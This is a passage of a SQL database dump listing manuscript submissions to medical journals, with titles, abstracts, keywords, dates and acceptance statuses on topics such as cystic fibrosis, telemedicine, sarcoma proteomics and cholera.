ratios are calculated with the help of absolute figure of different health care facilities in blocks as per lakh population of Ghazipur district. The data regarding the population is obtained from District Census Handbook. ArcGIS 10.3 software was used to create maps for spatial distribution of health care facilities in the district. The present study reveals thathealth care facilities are not equally distributed in all the blocks of the district in respect of hospitals, doctors and number of beds. The study is also reflects a huge gap across block level in terms of population distribution of health care facilities.\r\n\r\n','Key words: Health Care Facilities, GIS, Spatial Inequality. PHCs, CHCs ',4076,NULL,'2022-11-17',NULL,'Submitted',2,NULL,'2023-01-11',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(13175,13380,86,0,'ipaom-22-13175','Artificial intelligence publications trends in oncology and cardiology',NULL,25,0,'','We analysed historical patterns in publications linked to artificial intelligence applications in cardiology and cancer, which are the two domains researching the major causes of death globally, to ascertain whether there has been an increase in publications on these topics. There may be growing interest in the application of artificial intelligence in several important domains, according on upward trends in publications.','Oncology, Cardiology, Artificial Intelligence',3081,NULL,'2022-11-18',NULL,'Submitted',14,NULL,'2022-11-21',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13176,13381,86,0,'ipaom-22-13176','Children\'s allergic illnesses and gut microbiome',NULL,12,0,'','The human gastrointestinal system is home to the gut microbiota, which is crucial to preserving host health. By the age of three years old, the human gut flora is formed. Studies have shown that variables including caesarean birth and antibiotic usage before the age of three years can cause an imbalance in the gut microbiota, known as dysbiosis, and that dysbiosis is linked to a higher risk of the development of allergy illnesses in the future. The discovery of dysbiosis in individuals with allergic disorders as a result of recent improvements in next-generation sequencing techniques has drawn more attention to the link between dysbiosis and the emergence of allergic diseases.','Allergic Illnesses, Gastrointestinal, Gut Flora',3031,NULL,'2022-11-18',NULL,'Submitted',2,NULL,'2022-11-21',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13177,13382,86,0,'ipaom-22-13177','Cystic fibrosis molecular targets and the therapeutic potential of monoclonal antibodies',NULL,11,0,'','The lungs and digestive tracts are both impacted by the autosomal, progressive genetic illness known as cystic fibrosis (CF). It is one of the most prevalent fatal autosomal recessive genetic illnesses among Caucasians, affecting an estimated 48,000 people in Europe and 30,000 people in the US. The Gulf region and Saudi Arabia both have high rates of the illness (CF). Its incidence in the Middle East is estimated to be 1 in 2000–5800 live births, with a prevalence of 1 in every 30,000–50,000 live births. Extrapolating from known cases to the general population, it has been estimated that 1 in 4243 Saudi Arabian children and adolescents will have the disease. The gene for the Cystic Fibrosis Transmembrane Conductance Regulator (CFTR) produces a protein. This protein functions as a channel across the cell membrane to control the production of digestive enzymes, perspiration, saliva, tears, and mucus.','Cystic fibrosis, Therapeutic, Monoclonal Antibodies',3978,NULL,'2022-11-18',NULL,'Submitted',2,NULL,'2022-11-21',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13178,13383,86,0,'ipaom-22-13178','Telemedicine for allergy and immunology: Patient and clinician attitudes',NULL,3,0,'','For telemedicine to be used and developed, patient satisfaction with it is required. To enhance the experience for both patients and clinicians while using telemedicine, it is crucial to take into account the motivating reasons for happiness. A Joint Task Force on Telemedicine and Technological Innovation was established in 2019 through cooperation between the American Academy of Allergy, Asthma & Immunology and the American College of Allergy, Asthma and Immunology.  The task force set out to accomplish a number of objectives, the main one of which was to acknowledge the rise of telemedicine in the field of allergy and immunology (AI) and to make it easier for it to be implemented in the proper clinical settings in order to improve clinical outcomes. Despite the use and acceptance of telemedicine in general expanding, before the coronavirus disease 2019 (COVID-19) pandemic, its use by clinicians in the United States was comparatively low, and this was especially true of AI clinicians. During the COVID-19 pandemic, use of telemedicine quickly increased as clinicians were compelled to use it due to restrictions on in-person visits. Information on patient and clinician satisfaction as well as recommendations for the proper application of AI technology has been gathered during the shift to telemedicine. These areas, as well as potential new study fields, are highlighted in this article.','Telemedicine, Allergy, Immunology',5013,NULL,'2022-11-18',NULL,'Submitted',2,NULL,'2022-11-21',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13179,13384,959,0,'ipacr-22-13179','Protocol for a community-engaged, stepped wedge randomized trial to eliminate inequalities in breast cancer treatment through a regional patient navigation collaborative, putting research into action',NULL,5,0,'','Racial and socioeconomic disparities in carcinoma mortality persist. In Boston, MA, Black, Non-Hispanic girls and Medicaid-insured people area unit 2–3 times a lot of probably to possess delays in treatment compared to White or in private insured girls. Whereas evidence-based care coordination methods for reducing delays exist, they\'re not consistently enforced across attention settings. Translating analysis Into observe (TRIP) utilizes community engaged analysis strategies to deal with carcinoma supply disparities. Four Massachusetts Clinical Associate in Nursingd change of location Science Institute (CTSI) hubs collaborated with the Beantown carcinoma Equity Coalition (The Coalition) to implement an evidence-based care coordination intervention for Beantown residents in danger for delays in carcinoma care. The Coalition used a community-driven method to outline the matter of supply disparities, determine the target population, and develop a rigorous pragmatic approach. we have a tendency to selected a cluster-randomized, stepped-wedge hybrid kind I effectiveness-implementation study style. The intervention implements 3 evidence-based strategies: patient navigation services, a shared patient written record to be used across educational medical centers, and a web-based social determinants of health platform to spot and address barriers to worry. Primary clinical outcomes embody time to initial treatment and receipt of guideline-concordant treatment, that area unit captured through electronic health records abstraction. we are going to use mixed strategies to gather the secondary implementation','',3216,NULL,'2022-11-19',NULL,'Submitted',2,NULL,'2022-11-25',NULL,1,1,'1','accept',0,'','',NULL,0,0,0,NULL,0),(13180,13385,959,0,'ipacr-22-13180','The utilization of lung cancer screenings in relation to lung cancer risk and comorbidity ',NULL,5,0,'','This study evaluated a distinct kind of antibody that is on little animate thing vesicles (sEVs), as a biomarker for early detection of carcinoma. The sEVs were isolated from plasma by centrifugation and valid with morphology and typical markers. The antibody levels were quantified by enzyme-linked immunosorbent assay, and more analysis indicated that the antibody panel on sEVs was higher than that from humour to differentiate benign respiratory organ illness (n = 32) from carcinoma (n = 90). Within the prospective study, antibody on sEVs performed higher in identification of patients with a better risk of carcinoma. What is more, with immunogold labeling transmission microscopy, Nanoflow cytometry and binding tests, we tend to illustrated that the autoantibodies may bind to the antigens on sEVs, which can justify the detected autoantibodies on sEVs. Besides, the binding resulted within the attenuation of complement-mediated toxicity, which can contribute to the immune escape of carcinoma.','',5400,NULL,'2022-11-19',NULL,'Submitted',2,NULL,'2022-11-25',NULL,1,1,'1','accept',0,'','',NULL,0,0,0,NULL,0),(13181,13386,91,0,'ijddr-22-13181','Prevent Neurogenic Muscle Strength using Operational Ingredients',NULL,5,0,'','Debilitating neurogenic muscular atrophy is characterized by a diminished interaction between motor neurons and skeletal fibers and can be brought on by disease or aging-related neurotrauma.In situations where neuroperformance is declining, two current therapeutic approaches for preserving muscle mass are physical activity and pharmacotherapy.They slow the disease\'s progression but do not provide a specific remedy.Nutritional support can help lessen neuromuscular atrophy and is an important component of personalized medicine\'s success.Here, we summarize the sub-nuclear pathways set off by skeletal muscle denervation that may be impacted by functional enhancements.This narrative review examines and discusses studies on the use of functional ingredients to combat neuromuscular atrophy, focusing on their therapeutic or preventative effects on skeletal muscle.After considering the experimental models of rodent denervation and amyotrophic lateral sclerosis, as well as information gleaned from human studies and the use of experimental animal models, we propose an experimental model of denervation caused by aging.I scrutinized the model.','nutraceuticals; natural compounds; muscle wasting; neurodegenerative diseases; sarcopenia; aging',2474,NULL,'2022-11-21',NULL,'Submitted',2,NULL,'2022-11-23',NULL,1,1,'1','Accept\r\n',0,NULL,NULL,NULL,0,0,0,NULL,0),(13182,13387,73,0,'ipjnn-23-13182','A short note on neurology and neuroscience',NULL,5,2,'Overview of Nervous System Disorders','','',355,NULL,'2022-11-21',NULL,'Submitted',2,NULL,'2023-02-09',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13183,13388,975,0,'ipjbs-22-13183','Brain tumor detection using transfer learning',NULL,14,0,'','Uploaded as a separate file plz find','Brain Tumor classification and segmentation,\r\nDeep learning\r\nTransfer learning\r\n',4875,NULL,'2022-11-21',NULL,'Submitted',2,NULL,'2022-12-26',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13184,13389,45,0,'iphsj-23-13184','A Review of the ICER Unsupported Price Increase Report and its Potential Use in Health Policy Decisions',NULL,14,3,'','Background: The Institute for Clinical and Economic Review (ICER) recently published its 3rd annual Unsupported Price Increase (UPI) Report and positions it as a guide for policy making on prescription drug spending. Lawmakers across the US have shown interest in the UPI approach as a potential tool to optimize healthcare resource allocation. \r\nMethods: The latest UPI methodology and its changes were explicitly documented and then compared and contrasted with the authors’ understanding and experience of sound scientific method and logic. \r\nResults: The UPI report’s findings are based on a partial product selection and the rejection of high-quality evidence, offering healthcare decision makers misleading guidance on the value for money of the assessed products. \r\nConclusions: Our evaluation shows that significant methodological flaws mar the UPI reports’ utility, and that it is a tool that may cause unintended consequences that healthcare decision makers and patients in the US can ill afford.','Prescription drug spending, unsupported price increase, policy making, healthcare, ICER',4076,NULL,'2022-11-22',NULL,'Submitted',12,NULL,'2023-12-11',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13185,13390,959,0,'ipacr-22-13185','Proteomic analysis in sarcomas – current standing and future opportunities',NULL,5,0,'','Sarcomas are rare cluster of mesenchymal cancers comprising over seventy completely different histologic subtypes. For the bulk of those diseases, the molecular understanding of the premise of their initiation and progression remains unclear. As such, restricted clinical progress in prognosis or therapeutic regimens is revamped the past few decades. Genetic science techniques are being more and more used within the field of malignant neoplastic disease analysis, Proteomic analysis efforts have to this point targeted on histologic subtype characterisation for the advance of biological understanding, yet as for the identification of candidate diagnostic, predictive, and prognostic biomarkers to be used in clinic. However, the sector itself is in its infancy, and none of those proteomic analysis findings are translated into the clinic. During this review, we offer a quick summary of the proteomic methods that are utilized in malignant neoplastic disease analysis. we tend to assess key proteomic studies regarding many rare and ultra-rare malignant neoplastic disease subtypes as well as, duct stromal tumours, sarcoma, sarcoma, sarcoma, malignant rhomboid tumours, Ewing malignant neoplastic disease, myxofibrosarcomas, and alveolar soft half malignant neoplastic disease. Consequently, we tend to illustrate however routine implementation of genetic science inside malignant neoplastic disease analysis, integration of genetic science with alternative molecular identification information, and incorporation of genetic science into clinical test studies has the potential to propel the biological and clinical understanding of this cluster of advanced rare cancers moving forward.','Sarcoma; Proteomics; Targeted Therapy; Biomarkers; Drug Discovery',5400,NULL,'2022-11-22',NULL,'Submitted',2,NULL,'2022-11-25',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13186,13391,959,0,'ipacr-22-13186','Scope and consistency of cancer outcomes according in irregular trials in urinary organ transplant recipients',NULL,5,0,'','Cancer is a vital outcome in excretory organ transplantation, however the scope and consistency of however cancer is outlined and according in trials involving excretory organ transplant recipients has not been evaluated. This study aimed to assess the vary and variability of cancer outcomes in trials involving excretory organ transplant recipients.The ClinicalTrials.gov info was searched from Gregorian calendar month 2000 to July 2021 to spot all irregular controlled trials in adult excretory organ transplant recipients, and including cancer as a such as outcome. The definition of cancer, varieties of cancer (if any), timepoint(s) of measuring and technique of aggregation were extracted for every cancer outcome.','kidney transplant; randomized controlled trials; outcomes; cancer',5400,NULL,'2022-11-22',NULL,'Submitted',2,NULL,'2022-11-25',NULL,1,1,'1','accept',0,'','',NULL,0,0,0,NULL,0),(13187,13392,975,0,'ipjbs-22-13187','EPIDEMIC PREPAREDNESS AND RESPONSE TO COVID-19 AMONG IDP AND REFUGEE COMMUNITY IN SOMALI REGIONAL STATE, ETHIOPIA',NULL,14,0,'','Background\r\nA novel coronavirus disease-2019 has spread rapidly around the world since it was first identified. Refugees and internally displaced people are potentially at increased risk of contracting diseases, including novel coronavirus disease-2019, Ethiopia is now estimated to have approximately 3.1 million internally displaced people country wide, it also host  the second largest refugee population in Africa, sheltering 905,832 from 26 countries. The potential risk for novel coronavirus disease-2019 transmission in Ethiopia is very high due to the large number of internally displaced people living in collective sites. \r\nMethods\r\nThis survey aim was to assess preparedness level of Refugee and internally displaced people towards novel coronavirus disease-2019.\r\nResult\r\n65.7% of participants acknowledged the absence of Epidemic Preparedness and Response Committee in their refugee and internally displaced people camps of selected camps in Somali region. 52 (48.1%) of the respondents agreed that their roles in response to outbreaks were clearly stated. The performance drivers of preparedness and response were dependent on presence of a budget availability of funds (χ2=88.000, P value =0.000). Adequacy of funds (χ2= 0.037, P value = 0.847.) Knowledge of covid-19 outbreak (χ2= 0.148, P value = 0.007). Presence of Health Development Partner (χ2=6.259, P value=0.012). \r\nConclusion\r\nBased on these findings, there is a big gap in the preparedness and response ability, all of which are dependent on the financial gap and knowledge gap. To this, funding for preparedness and response is a critical aspect to respond and contain an outbreak. In order to address the existing capacity gaps related to the prevention, preparedness, detection and response for novel coronavirus disease-2019 and other emerging infectious diseases. The Somali regional government and its partners should closely work with the relevant authorities and other partners to build strong capacity to prevent, prepare, detect and respond to any potential novel coronavirus disease-2019 outbreak.                                                                                                                  \r\n\r\n','Preparedness, Responses, Covid-19, Refugee, IDPs, Somali, Ethiopia',5410,NULL,'2022-11-22',NULL,'Submitted',2,NULL,'2022-12-13',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(13188,13393,959,0,'ipacr-22-13188','Phosphoproteomics in translational research: a cancer perspective',NULL,14,0,'','Phosphoproteomics has been extensively used as a diagnosing analysis tool to characterize the phosphorylated parts of the cancer protein. Advances within the field have yielded insights into new drug targets, mechanisms of sickness progression and drug resistance, and biomarker discovery. However, application of this technology to clinical analysis has been difficult as a result of sensible problems with reference to specimen integrity and neoplasm nonuniformity. On the far side these limitations, phosphoproteomics has the potential to play a polar role in translational studies and contribute to advances in several neoplasm teams, together with rare sickness sites like cancer. During this review, we have a tendency to propose that deploying phosphoproteomic technologies in translational analysis could facilitate the identification of higher outlined prognostic biomarkers for patient stratification, inform drug choice in umbrella trials and determine new combos to beat drug resistance. We offer an summary of current phosphoproteomic technologies, like affinity-based assays and mass spectrometry-based approaches, and discuss their benefits and limitations. We have a tendency to use cancer.','phosphoproteomics; sarcoma; signal transduction; clinical trials; drug resistance',5408,NULL,'2022-11-23',NULL,'Submitted',2,NULL,'2022-12-15',NULL,1,1,'1','ACCEPT',0,'','',NULL,0,0,0,NULL,0),(13189,13394,326,0,'IPJUS-22-13189','Neck Surgery: Recovery and Risk Factors',NULL,5,0,'','The purpose of this study was to identify the occurrence of paravertebral soft tissue swelling after ACDF with the objective of preventing potentially lethal airway obstruction after ACDF.\r\nNeck pain is a common condition that can have many different causes. Although surgery is a potential treatment for long-term neck pain, it’s rarely the first option. In fact, many cases of neck pain will eventually go away with the right type of conservative treatments.\r\nConservative treatments are nonsurgical interventions aimed at reducing neck pain and improving function. Some examples of these treatments include:\r\n1.	over-the-counter or prescription medications to ease pain and inflammation\r\n2.	home exercises and physical therapy to help strengthen your neck, increase your range of motion, and relieve pain\r\n3.	ice and heat therapy\r\n4.	steroid injections to reduce neck pain and swelling\r\n5.	short-term immobilization, such as with a soft neck collar, to help provide support and relieve pressure\r\nNeck surgery is often a last resort option if conservative treatments aren’t effective at reducing chronic neck pain. \r\n',' ',2505,NULL,'2022-11-23',NULL,'Submitted',2,NULL,'2022-11-30',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13190,13396,975,0,'ipjbs-22-13190','A brief review on peptide toxins from Cone snail (CONOTOXINS)',NULL,25,0,'','Cone snails are marine gastropods serving as a source for the production of various bio-active compounds. These bioactive compounds are used by pharmaceutical industries for developing drug formulations with less toxic effects. Cone snail peptides are of significant importance, as these peptides are exhibiting large chemical diversity and potency towards targeting specific membrane receptors. Conopeptides are venom peptides used by cone snails for prey capturing and defense. These peptides are capable of specifically modifying various ion channel transporters and membrane receptors. Conopeptides contains about 60-80 amino acids and is mostly studied at mRNA and protein level. Conopeptide synthesis proceeds in such a way, that the signal and pro-peptides are cleaved by proteolysis yielding the final matured peptide. These final matured peptides have small structural units, capable of modifying specific ion channels of the mammalian nervous system. Conopeptides have high potential towards ion channels, making them as an ideal drug lead. ','Pharmaceutical, Cone snails, Conopeptides, Proteolysis, Protein.',3677,NULL,'2022-11-23',NULL,'Submitted',2,NULL,'2022-12-26',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13192,13398,86,0,'ipaom-22-13192','A overview of the use of multi-modality fusion and deep learning for medical picture segmentation',NULL,19,0,'','Due to its ability to provide multiple information about a target (tumor, organ, or tissue), multi-modality is frequently utilized in medical imaging. In order to improve the segmentation, multimodality segmentation involves fusing multiple information sources. In recent times, approaches based on deep learning have demonstrated cutting-edge results in image classification, segmentation, object detection, and tracking tasks. Multi-modal medical image segmentation has recently also piqued the interest of deep learning researchers due to their capacity for self-learning and generalization across large amounts of data. We present an overview of deep learning-based methods for the multi-modal medical image segmentation task in this paper. Multi-modal medical image segmentation and the general principle of deep learning are first discussed. Second, we compare and contrast the outcomes of various fusion strategies and deep learning network architectures. Because it is straightforward and focuses on the subsequent segmentation network architecture, the earlier fusion is frequently utilized. However, the later fusion places a greater emphasis on the fusion strategy in order to learn the intricate connection that exists between the various modalities. If the fusion technique is effective enough, later fusion can generally yield more accurate results than earlier fusion. Additionally, we talk about some typical issues with medical image segmentation. In conclusion, we offer a synopsis and some perspectives on the upcoming research.','Deep learning, Medical image segmentation, Multi-modality fusion',2890,NULL,'2022-11-24',NULL,'Submitted',2,NULL,'2022-11-25',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13193,13399,86,0,'ipaom-22-13193','Focusing on its immunomodulatory properties, curcumin\'s therapeutic effectiveness for allergic disorders',NULL,12,0,'','The term \"allergy,\" which is also known as \"atopy,\" refers to a variety of immune-mediated diseases that affect almost 30% of the world\'s population. These diseases are brought on by the induction of immune responses against common environmental antigens, also known as \"allergens,\" which are non-microbial and generally harmless. Urticaria, food allergy, allergic rhinitis (AR), allergic asthma, atopic dermatitis (AD), and anaphylaxis are the most common allergic diseases. According to an immunological perspective, patients with hypersensitive illnesses produce and advance the sort 2 resistant reaction intervened by a broad assortment of invulnerable cells including epithelial cells, pole cells, basophils, eosinophils, and B and T lymphocytes.','Allergic disorders, Atopy, Asthma',5013,NULL,'2022-11-24',NULL,'Submitted',2,NULL,'2022-11-25',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13194,13400,86,0,'ipaom-22-13194','Pharmaceutical methods to increase the lung exposure to inhaled medications',NULL,19,0,'','For the treatment of systemic disorders like diabetes as well as local lung diseases including asthma, chronic obstructive pulmonary disease, and respiratory infections, the pulmonary administration route has been extensively used. The majority of inhaled medications are quickly removed from the lungs and have transient therapeutic effects. Extended pulmonary exposure from inhaled medications may not only increase patient compliance by lowering drug administration frequency, but also increase clinical benefits for patients through improved therapeutic results. The physical and chemical methods to increase the pulmonary exposure of inhaled medications are systematically reviewed in this article. It begins with an overview of the numerous physiological and pathophysiological obstacles to creating inhaled medications with prolonged lung exposure, and then it moves on to discuss recent developments in a number of techniques to get around these obstacles. Finally, a summary of the uses of inhaled medications with prolonged lung exposure for treating various diseases and the safety issues related to various methods of prolonging pulmonary exposure of inhaled medications is provided.','Local lung diseases, Pulmonary drug delivery, Pulmonary clearance pathways',5013,NULL,'2022-11-24',NULL,'Submitted',2,NULL,'2022-11-25',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13195,13401,86,0,'ipaom-22-13195','Psychiatry resident education in psychosomatic medicine: The state of the service',NULL,3,0,'','The diagnosis and treatment of psychiatric illnesses and symptoms in medically unwell patients is the focus of consultation-liaison (C-L) or psychosomatic medicine (PM), a branch of psychiatry. C-L psychiatry is used in a wide range of clinical settings and in systems of care that are just as diverse. Since individuals with a range of comorbid or co-occurring medical and psychological illnesses have been proven to have a poorer quality of life, suboptimal medical outcomes, and higher associated costs of care, it is crucial to recognise and treat these complicated patients. In order to establish competency in PM, residents in general psychiatry training programmes must first acquire proper training. Psychiatry residency schools are required to instruct their residents in C-L psychiatry by the Accreditation Council for Graduate Medical Education (ACGME). The clinical and academic experiences, even between different rotation locations within a residency programme, vary, nonetheless, between residency programmes','Psychosomatic medicine, Treatment',5013,NULL,'2022-11-24',NULL,'Submitted',2,NULL,'2022-11-25',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13196,13402,86,0,'ipaom-22-13196','Update and revision of the emergency medicine clerkship curriculum',NULL,11,0,'','The most recent edition of a national emergency medicine (EM) clerkship programme was released in 2006. That curriculum has been used in numerous clerkships during the past few years. It was discovered that the prior curriculum was too lengthy and complicated to complete in 4 weeks. A clerkship\'s framework is governed by the form and function document, which has undergone modifications from the Liaison Committee on Medical Education (LCME). The fourth-year EM clerkship training curricula have been updated and revised using experience, current guidelines, and the combined knowledge of members of the national organisation of the Clerkship Directors in Emergency Medicine (CDEM). Emergency medicine (EM) has steadily gained ground in undergraduate medical education ever since the Macy Report of 1995 highlighted the need for medical students to receive formalized training in handling medical emergencies. As a result of this trend, it became necessary to create a national standard curriculum for EM clerkships .','Emergency medicine, clerkship',2890,NULL,'2022-11-24',NULL,'Submitted',2,NULL,'2022-11-25',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13198,13403,667,0,'iptb-22-13198','Clinical Application of Epithelial Mesenchymal Transition Markers: Novel Insights from Proteomics',NULL,25,0,'','Clinical markers may be derived from our improving understanding of the molecular processes underpinning the epithelial-to-mesenchymal transition (EMT). Despite the fact that EMT drivers have not yet become viable candidate markers in the clinical context, they may become more sensitive and specific if they are associated with other recognised clinical markers. Mass spectrometry-based platforms enable the analysis of numerous samples for the expression of EMT candidate indicators, which may aid in the accurate diagnosis of disorders or the efficient monitoring of treatment. This review emphasises proteomic methods used to clarify the distinctions between mesenchymal and epithelial cancers and explains how they might be utilised to target discovery and validation. The existence of metastatic cells in distant organs is a serious worry in the treatment of tumour patients. Human malignancies frequently exhibit activation of the epithelial-to-mesenchymal transition (EMT) pathway, which is closely correlated with tumour development and resistance to traditional chemotherapeutic medicines and targeted therapies. This model suggests morphological alterations in the apical-basal organisation of epithelial cells and their acquisition of a fibroblast-like form. It also suggests basic changes at various genetic and epigenetic levels that can start and maintain the process.','Clinical, Epithelial, Mesenchymal,  Transition Markers.',3322,NULL,'2022-11-24',NULL,'Submitted',2,NULL,'2022-12-05',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13199,13404,326,0,'IPJUS-22-13199','Rods and Screws of Percutaneous Placement in Minimally Invasive Surgeries',NULL,5,0,'','In the various health-care systems around the world, these increased costs are not always compensated for by shorter hospital stays. This review focuses on major areas of indication for minimally invasive surgery in the gastrointestinal tract. These include functional disorders of the upper and lower gastrointestinal tract, obesity surgery, minimally invasive techniques in gastric and hepatobiliary surgery and in other solid organs, and laparoscopic colorectal surgery. A considerable amount of basic research has been carried out on the stress response during and after minimally invasive procedures, and an improved immune response with the minimally invasive approach has been observed, leading to better results after extensive oncological procedures. Robotic surgery and telesurgery involve new computer-aided methods that allow greater precision in surgical technique, as well as offering an opportunity to supply surgical skill and expertise remotely, over long distances. The shortening of the hospitalization period has led to increasing use of outpatient laparoscopic surgery, and many centers specializing in day-care surgery are using these techniques. The frontiers are being pushed even further, as the size of the instruments is reduced to achieve better cosmetic results. Clinical research has also focused on the topic of expanding the indications for minimally invasive approaches in the elderly and in high-risk patients, to take advantage of the shorter hospital stays and reduced surgical trauma that are possible minimally invasive surgical techniques are thus now fully established in routine use, and the indications are continuing to expand.','Pneumothorax; minimally invasive procedures; video-assisted thoracoscopic surgery',2505,NULL,'2022-11-24',NULL,'Submitted',2,NULL,'2022-11-30',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13200,13405,251,0,'ipacm-22-13200','Brief History of Staphylococcus aureus and Diagnosis, Treatment',NULL,5,0,'','Staphylococcus aureus is a gram-positive bacterium that causes a wide variety of clinical diseases. Infections caused by this pathogen are common both in community-acquired and hospital-acquired settings. MRSA (Methicillin-Resistant Staphylococcus aureus). S. aureus does not normally cause infection on healthy skin; however, if it is allowed to enter the internal tissues or bloodstream, these bacteria may cause a variety of potentially serious infections.\r\n1.	Describe the workup of a patient with staphylococcus infection.\r\n2.	Outline the importance of improving care coordination among the interprofessional team members to educate patients about hand hygiene to prevent transmission of infection to others.\r\n3.	Summarize the treatment options for staphylococcus infections.\r\n4.	Review the pathophysiology of S aureus infections.\r\nThis activity describes the evaluation and treatment of Staphylococcus infections and reviews the role of the interprofessional team in managing patients with these diseases.\r\n','Vancomycin-resistant Staphylococcus aureus, Resistant Staphylococcus aureus, S. aureus, Antibiotic resistance',786,NULL,'2022-11-24',NULL,'Submitted',2,NULL,'2022-12-01',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13201,13406,91,0,'ijddr-22-13201','Attacking of Metal Drugs Occurs',NULL,5,0,'','Metal compounds have been used to treat a variety of illnesses, including cancer, successfully in medicine since ancient times. Following Barnett Rosenberg\'s 1960 discovery of cisplatin, platinum-based medicines assumed a crucial role in systemic therapy for a variety of cancers. Present-day systemic oncological therapy regimens still rely heavily on platinum compounds, which, depending on the kind of cancer, might result in high response rates or even cures.\r\nHowever, significant obstacles to the so-called \"conventional chemotherapy\" used to treat cancer remain, chief among them the unfavourable effects based on the cytotoxic activity also against healthy tissues and the rapid emergence of drug resistance as a result of the enormous genomic and epigenetic flexibility and adaptability of the cancer cells. Additionally, precision medicine ideas have been integrating into oncological treatment strategies, shifting conventional chemotherapies out of focus, based on the deciphering of the human genome and the accessibility of high-throughput sequencing methods.','Conventional Chemotherapy',3391,NULL,'2022-11-25',NULL,'Submitted',2,NULL,'2022-11-29',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13202,13407,91,0,'ijddr-22-13202','Medication Delivery with Nanoparticles',NULL,5,0,'','The 1950s may be considered the birth year of controlled release medication delivery. In 1952, the Spansule technique was created to deliver a medication for 12 hours. When compared to taking a medication every 6 or 8 hours, twice-daily formulations were revolutionary in terms of increasing patient compliance and convenience. Since then, developments in drug delivery technology have produced a wide range of formulations and equipment for boosting treatment effectiveness, lowering adverse effects, and boosting patient compliance. The purpose of targeted drug delivery is to deliver the provided medicine to the target areas as much as possible, while minimising the drug distribution to any non-target organs. Over the past two decades, nanotechnology-based delivery systems have progressed explosively.\r\nDespite the fact that cancer treatment has significantly improved thanks to nanoparticle technology, tailored drug delivery using nanoparticles has not lived up to expectations.','Leukocyte; Neovasculature',3391,NULL,'2022-11-25',NULL,'Submitted',2,NULL,'2022-11-29',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13203,13408,91,0,'ijddr-22-13203','Advancing Translational Medicine',NULL,5,0,'','The concept and trend of translational medicine has gained widespread acceptance in the medical sciences. China is a late adopter when it comes to the development of translational medicine, but the Chinese medical community has already shown its commitment to making this notion a reality. Before translational medicine to move from being a concept to reality, there are numerous questions that need to be addressed. The key elements for creating \"patients and clinic centred\" translational medicine are emphasised in this research, which also provides an orthopaedic translation example using \"an enhanced stem cells approach.\" Before scientific research can be effectively applied in clinical practise, there must be a tremendous amount of collaboration and multidisciplinary work. The distance between basic and clinical research was growing. \"The basic and clinical scientists don\'t really talk to each other.\" These are Elias Zerhouni and Barbara Alving\'s explanations of the connection between fundamental research and clinical practise from the National Institutes of Health (NIH) of the United States. In actuality, this gap was already present during the 20th century\'s rapid development of the life sciences. Only five of the 101 papers that appeared in Science, Nature, Cell, and other prestigious journals between 1979 and 1983 were approved for clinical use 20 years later, and only one paper demonstrated a significant influence on clinical practice. All of these articles, however, made it clear that they would be highly valuable for therapeutic use. The Chinese government also made the claim in the National Twelfth Five-Year Plan for the Development of Science and Technology that \"we are going to improve the level of medical sciences and strengthen the construction of key medical disciplines centred by translational medicine,\" indicating that translational medicine has been viewed as a major strategy in the Chinese medical field. Although the creation of translational medical platforms helped propagate the ideas behind it and satiated China\'s need for such platforms, numerous problems also arose in the process. From a particular vantage point, it is accurate to say that we and our forefathers in medicine have always promoted and utilised translational medicine. A notable illustration is the myth of \"Shennong Tastes a Hundred Grasses,\" in which Shennong transformed the knowledge of plants into treatments for illnesses. Although the idea of translational medicine has been there since the beginning of medicine, our forefathers only practised medicine and performed study on it among groups of people who shared their interests. With the specialisation of the medical sciences comes a growing gap between basic research and clinical practise or health strategies. Because it is very impossible to replicate human physiology and pathology exactly in animals, medical research is much more difficult and complex than research in other fields.','Translational Medicine; Orthopaedic; Cytological Culture',3391,NULL,'2022-11-25',NULL,'Submitted',2,NULL,'2022-11-29',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13204,13409,251,0,'ipacm-22-13204','Cholera: Risk Factors of Cholera and Treatment',NULL,5,0,'','Cholera is a bacterial disease usually spread through contaminated water. Cholera causes severe diarrhea and dehydration. Left untreated, cholera can be fatal within hours, even in previously healthy people.\r\nCholera is an acute, secretory diarrhea caused by infection with Vibrio cholerae of the O1 and O139 serogroups. Cholera is endemic in over 50 countries and also causes large epidemics. Since 1817, seven cholera pandemics have spread from Asia to much of the world. The 7th pandemic began in 1961 and affects 3–5 million people each year, killing 120,000. Although mild cholera may be indistinguishable from other diarrheal illnesses, the presentation of severe cholera is distinct, with dramatic diarrheal purging. Management of patients with cholera involves aggressive fluid replacement; effective therapy can decrease mortality from over 50% to less than 0.2%. Antibiotics decrease volume and duration of diarrhea by 50% and are recommended for patients with moderate to severe dehydration. Prevention of cholera depends on access to safe water and sanitation. Two oral cholera vaccines are available and the most effective use of these in integrated prevention programs is being actively evaluated.\r\nCholera is an acute secretory diarrhea caused by the Gram-negative bacterium Vibrio cholerae. Cholera epidemics have been recently increasing in intensity, duration and frequency, highlighting the need for more effective approaches to prevention and 